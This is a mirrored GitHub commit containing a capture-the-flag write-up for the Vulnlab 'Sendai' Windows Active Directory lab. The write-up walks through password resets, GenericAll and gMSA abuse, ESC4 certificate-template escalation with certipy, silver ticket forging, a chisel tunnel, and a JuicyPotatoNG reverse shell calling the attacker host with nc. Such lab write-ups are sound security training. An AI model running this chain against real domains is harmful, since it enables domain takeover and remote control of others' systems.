mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 06:34:17 +00:00
Create Sendai.vl
This commit is contained in:
ARZ
GitHub
parent
c8d540ac48
commit
4d37a95171
1 changed files with 221 additions and 0 deletions
221
Vulnlab/Sendai.vl
Normal file
221
Vulnlab/Sendai.vl
Normal file
|
|
@ -0,0 +1,221 @@
|
|||
|
||||
# Vulnlab - Sendai
|
||||
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
53/tcp open domain Simple DNS Plus
|
||||
80/tcp open http Microsoft IIS httpd 10.0
|
||||
|_http-server-header: Microsoft-IIS/10.0
|
||||
88/tcp open kerberos-sec
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
443/tcp open ssl/http Microsoft IIS httpd 10.0
|
||||
|_ssl-date: TLS randomness does not represent time
|
||||
| ssl-cert: Subject: commonName=dc.sendai.vl
|
||||
| Subject Alternative Name: DNS:dc.sendai.vl
|
||||
| Issuer: commonName=dc.sendai.vl
|
||||
|_http-server-header: Microsoft-IIS/10.0
|
||||
| http-methods:
|
||||
|_ Supported Methods: GET
|
||||
445/tcp open microsoft-ds?
|
||||
3389/tcp open ms-wbt-server Microsoft Terminal Services
|
||||
| ssl-cert: Subject: commonName=dc.sendai.vl
|
||||
| Issuer: commonName=dc.sendai.vl
|
||||
| Public Key type: rsa
|
||||
| Public Key bits: 2048
|
||||
| Signature Algorithm: sha256WithRSAEncryption
|
||||
| Not valid before: 2024-05-04T16:24:01
|
||||
| Not valid after: 2024-11-03T16:24:01
|
||||
| MD5: 6198fc32527e478294e38fd5c6a2b81e
|
||||
|_SHA-1: 73b4d1026b49e0cb9c0d633982377e74f32b7db3
|
||||
|_ssl-date: 2024-05-05T16:28:56+00:00; -1m22s from scanner time.
|
||||
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||||
|_http-server-header: Microsoft-HTTPAPI/2.0
|
||||
|_http-title: Not Found
|
||||
49664/tcp open unknown
|
||||
56740/tcp open unknown
|
||||
56744/tcp open unknown
|
||||
```
|
||||
|
||||
## PORT 80/443
|
||||
|
||||
<img src="https://i.imgur.com/2xyBd1B.png"/>
|
||||
|
||||
Running gobuster, we can find `/service`
|
||||
|
||||
<img src="https://i.imgur.com/41s7K0i.png"/>
|
||||
|
||||
However this endpoints shows that we don't have access to it
|
||||
|
||||
<img src="https://i.imgur.com/YgAmiLH.png"/>
|
||||
## PORT 445
|
||||
Enumerating smb shares with anonymous login, we'll see `config`, `sendai` and `Users` share, where config was not accessible, Users didn't anything but sendai had some interesting files
|
||||
|
||||
<img src="https://i.imgur.com/mQaCMNk.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/OjZZNAR.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/kSTgBfG.png"/>
|
||||
|
||||
The incident talked about users having weak passwords, all users will be prompted to change their password on logging in, the transfer directory had user's directories
|
||||
|
||||
<img src="https://i.imgur.com/Ob5kSkE.png"/>
|
||||
|
||||
## Resetting domain user's password
|
||||
|
||||
These users can also be enumerated through `lookupsid` by brute forcing sids
|
||||
|
||||
<img src="https://i.imgur.com/cNM7HDk.png"/>
|
||||
On trying to login with null password, we'll get two users with password to be changed
|
||||
|
||||
<img src="https://i.imgur.com/bWjdAf4.png"/>
|
||||
Password can be changed with `impacket-smbpasswd`
|
||||
|
||||
```bash
|
||||
impacket-smbpasswd sendai.vl/Thomas.Powell@dc.sendai.vl -newpass '$aduwu123'
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/2naixZH.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/3NWYOCE.png"/>
|
||||
From config share, we can grab `.sqlconfig` having credentials to MSSQL
|
||||
|
||||
<img src="https://i.imgur.com/iOaiZ2c.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/oQ0cAH9.png"/>
|
||||
|
||||
But this service isn't exposed to us so moving on to enumerating the domain with bloodhound
|
||||
|
||||
```bash
|
||||
python3 bloodhound.py -u sqlsvc -p password -d sendai.vl -c all -dc dc.sendai.vl -ns 10.10.104.41
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/JM5mhTv.png"/>
|
||||
|
||||
Thomas.Powell is a member of `Support` group has `GenericAll` on `ADMSVC` group which has `ReadGMSAPassword` on `MGTSVC$` account. We'll need to add thomas in ADMSVC group, read the NThash of MGTSVC account
|
||||
|
||||
<img src="https://i.imgur.com/BRPHbql.png"/>
|
||||
## Abusing GenericAll and reading GMSA password
|
||||
|
||||
Through` bloodyAD` we can add thomas in ADMSVC group having genericall rights
|
||||
|
||||
```bash
|
||||
python3 bloodyAD.py --host "10.10.104.41" -d 'sendai.vl' -u 'thomas.powell' -p '$aduwu123' add groupMember ADMSVC thomas.powell
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/cS1zoYy.png"/>
|
||||
|
||||
With gmsadumper script or with netexec we can dump the nthash of mgtsvc account
|
||||
|
||||
```bash
|
||||
python3 gMSADumper.py -u 'thomas.powell' -p '$aduwu123' -d sendai.vl -l 10.10.104.41
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/ina1lCb.png"/>
|
||||
|
||||
This account can login on DC as it's part of `Remote Management` group
|
||||
|
||||
<img src="https://i.imgur.com/uwRvgKc.png"/>
|
||||
|
||||
Checking the privileges after logging in through evil-winrm, it doesn't have any privilege that we can abuse to get local admin
|
||||
|
||||
<img src="https://i.imgur.com/jxAX90R.png"/>
|
||||
## Obtaining clifford's password
|
||||
|
||||
From the running process, we have helpdesk which doesn't normally run on a system
|
||||
|
||||
<img src="https://i.imgur.com/IxlngBF.png"/>
|
||||
|
||||
Enumerating the system with `PrivescCheck.ps1`
|
||||
|
||||
<img src="https://i.imgur.com/yO9Rckp.png"/>
|
||||
|
||||
This will list down the running processes from where we'll find the clifford.davey's creds
|
||||
|
||||
<img src="https://i.imgur.com/NPt3pB3.png|"/>
|
||||
|
||||
## Enumerating ADCS
|
||||
|
||||
This user belongs to `CA-Operators` group, so this likely will be able to enroll in a custom template, enumerating templates with `certipy`
|
||||
|
||||
<img src="https://i.imgur.com/Vgev4wX.png"/>
|
||||
## Escalating privileges through ESC4
|
||||
|
||||
```bash
|
||||
certipy find -u clifford.davey -vulnerable -target dc.sendai.vl -dc-ip 10.10.115.126 -stdout
|
||||
```
|
||||
|
||||
This lists down a template `SendaiComputer` which has EKU set to `Client Authentication` that can be used to authenticate on the system and ca-operators group has Full control over this template which means we can edit this template and impersonate as the domain admin, which is known as ESC4 (access control) abuse
|
||||
|
||||
<img src="https://i.imgur.com/mQUF4HH.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/A10lXkN.png"/>
|
||||
|
||||
With certipy, we can change the configuration of this template to allow domain users to enroll for this template and impersonate any user
|
||||
|
||||
```bash
|
||||
certipy template -u clifford.davey -target dc.sendai.vl -dc-ip 10.10.115.126 -template SendaiComputer
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/YycVHAi.png"/>
|
||||
<img src="https://i.imgur.com/FEVEUWg.png"/>
|
||||
|
||||
```bash
|
||||
certipy req -u 'clifford.davey' -ca 'sendai-DC-CA' -dc-ip 10.10.115.126 -target dc.sendai.vl -template 'SendaiComputer' -upn administrator
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/pCSgIFn.png"/>
|
||||
|
||||
```bash
|
||||
certipy auth -pfx ./administrator.pfx -domain sendai.vl
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/vgGRaVx.png"/>
|
||||
|
||||
## Escalating with SeImpersonate privilege
|
||||
|
||||
Another way of escalating privileges is through mssql, since mssql is running internally, having access on the machine we can port forward with`chisel`
|
||||
|
||||
```bash
|
||||
chisel server -p 2222 --reverse
|
||||
chisel.exe client 10.8.0.136:2222 R:socks
|
||||
```
|
||||
<img src="https://i.imgur.com/hSVXA3l.png"/>
|
||||
|
||||
But we'll get login denied for sqlsvc account
|
||||
|
||||
<img src="https://i.imgur.com/7dUxhoi.png"/>
|
||||
|
||||
With `ticketer,` forging a silver ticket for accessing MSSQL service as an administrator
|
||||
|
||||
```bash
|
||||
ticketer.py -domain-sid S-1-5-21-3085872742-570972823-736764132 -domain sendai.vl -spn MSSQL/dc.sendai.vl -nthash hash Administrator
|
||||
```
|
||||
|
||||
|
||||
<img src="https://i.imgur.com/iOKxMa4.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/ZlBgszU.png"/>
|
||||
|
||||
Enabling `xp_cmdshell` which will allow us to execute system commands as sqlsvc
|
||||
|
||||
<img src="https://i.imgur.com/DDGiMXV.png"/>
|
||||
|
||||
The difference here is that we'll have `SeImpersonate` privilege, which can abuse to get local admin
|
||||
|
||||
<img src="https://i.imgur.com/CvG90gg.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/tdEDy5t.png"/>
|
||||
|
||||
Using `juicypotato-ng` to abuse the privilege and get a shell a SYSTEM
|
||||
|
||||
```bash
|
||||
.\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:\Users\sqlsvc\nc.exe 10.8.0.136 4444 -e cmd.exe"
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/22805js.png"/>
|
||||
# References
|
||||
|
||||
- https://exploit-notes.hdks.org/exploit/windows/active-directory/smb-pentesting/
|
||||
- https://github.com/itm4n/PrivescCheck
|
||||
- https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services
|
||||
Loading…
Reference in a new issue